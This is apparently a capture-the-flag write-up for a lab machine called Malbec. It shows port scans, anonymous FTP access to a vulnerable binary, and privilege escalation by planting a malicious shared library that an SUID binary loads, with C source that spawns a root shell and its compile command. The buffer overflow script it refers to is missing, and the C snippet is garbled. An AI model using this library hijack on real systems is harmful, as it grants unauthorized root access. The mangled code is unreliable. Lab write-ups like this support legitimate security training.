$ nmap -p- --min-rate 4000 192.168.240.129
Starting Nmap 7.93 ( https://nmap.org ) at 2023-07-07 13:44 +08
Nmap scan report for 192.168.240.129
Host is up (0.17s latency).
Not shown: 65532 closed tcp ports (conn-refused)
PORT STATE SERVICE
22/tcp open ssh
2121/tcp open ccproxy-ftp
7138/tcp open unknown
We can do a detailed scan on this machine in case.
$ sudo nmap -p 22,2121,7138 -sC -sV --min-rate 4000 192.168.240.129
[sudo] password for kali:
Starting Nmap 7.93 ( https://nmap.org ) at 2023-07-07 13:45 +08
Nmap scan report for 192.168.240.129
Host is up (0.17s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 74ba2023899262029fe73d3b83d4d96c (RSA)
| 256 548f79555ab03a695ad5723964fd074e (ECDSA)
|_ 256 7f5d102762ba75e9bcc84fe27287d4e2 (ED25519)
2121/tcp open ftp pyftpdlib 1.5.6
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rwxrwxrwx 1 carlos carlos 108304 Jan 25 2021 malbec.exe [NSE: writeable]
| ftp-syst:
| STAT:
| FTP server status:
| Connected to: 192.168.240.129:2121
| Waiting for username.
| TYPE: ASCII; STRUcture: File; MODE: Stream
| Data connection closed.
|_End of status.
7138/tcp open unknown
Port 2121 is FTP it seems.
FTP -> Buffer Overflow
FTP allowed for anonymous access and it only had one file:
$ ftp 192.168.240.129 -p 2121
Connected to 192.168.240.129.
220 pyftpdlib 1.5.6 ready.
Name (192.168.240.129:kali): anonymous
331 Username ok, send password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
229 Entering extended passive mode (|||49067|).
125 Data connection already open. Transfer starting.
-rwxrwxrwx 1 carlos carlos 108304 Jan 25 2021 malbec.exe
We can download this .exe file to a Windows machine for some reverse engineering.
When we check the listening ports on our Windows machine, we would see that malbec.exe opens port 7138:
This machine thus becomes a classic buffer overflow exploit as per OSCP. For this particular binary, there weren't any bad characters (other than the NULL byte) and it was just a matter of fuzzing the offset required.
I won't be going through how to do it since the OSCP BOF style is prett well-documented already, so here's the final script I used:
I ran a linpeas.sh scan on the machine, and it found a few interesting things. Firstly, root is running ldconfig periodically:
The next was this SUID binary that I didn't recognise:
-rwsr-xr-x 1 root root 17K Jan 26 2021 /usr/bin/messenger
The last was a misconfiguration of the ld.so files:
This was interesting, because it appears that the user's home directory is the part of the configuration, meaning that .so files are executed from this directory. We can run ldd for the messenger binary to check where it loads its shared object files.
carlos@malbec:/tmp$ ldd /usr/bin/messenger
linux-vdso.so.1 (0x00007ffd865bc000)
libmalbec.so => not found
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f64cb634000)
/lib64/ld-linux-x86-64.so.2 (0x00007f64cb80a000)
So it appears that libmalbec.so is not found, and it loads it from /home/carlos. This means that we can just create a malicious libmalbec.so file that gives us a shell, and since messenger is an SUID binary, the shell will be with root privileges.
Here's the source code I took from HackTricks:
#include<stdio.h>#include<unistd.h>#include<sys/types.h>// this function name is a result of testing, since it appears that the binary executes a malbec function// you would get this error if not named properly:// /usr/bin/messenger: symbol lookup error: /usr/bin/messenger: undefined symbol: malbecvoidmalbec(){ # the setuid(0);setgid(0);printf("I'm the bad library\n");system("/bin/sh",NULL,NULL);}
We just need to compile this and transfer it to the machine:
$ gcc -shared -o libmalbec.so -fPIC exploit.c
exploit.c: In function ‘say_hi’:
exploit.c:9:5: warning: implicit declaration of function ‘system’ [-Wimplicit-function-declaration]
9 | system("/bin/sh",NULL,NULL);
|
Afterwards, we can wait for root to execute ldconfig, which would configure the messenger binary to use the libmalbec.so file we created. Once it does, it will show up in ldd: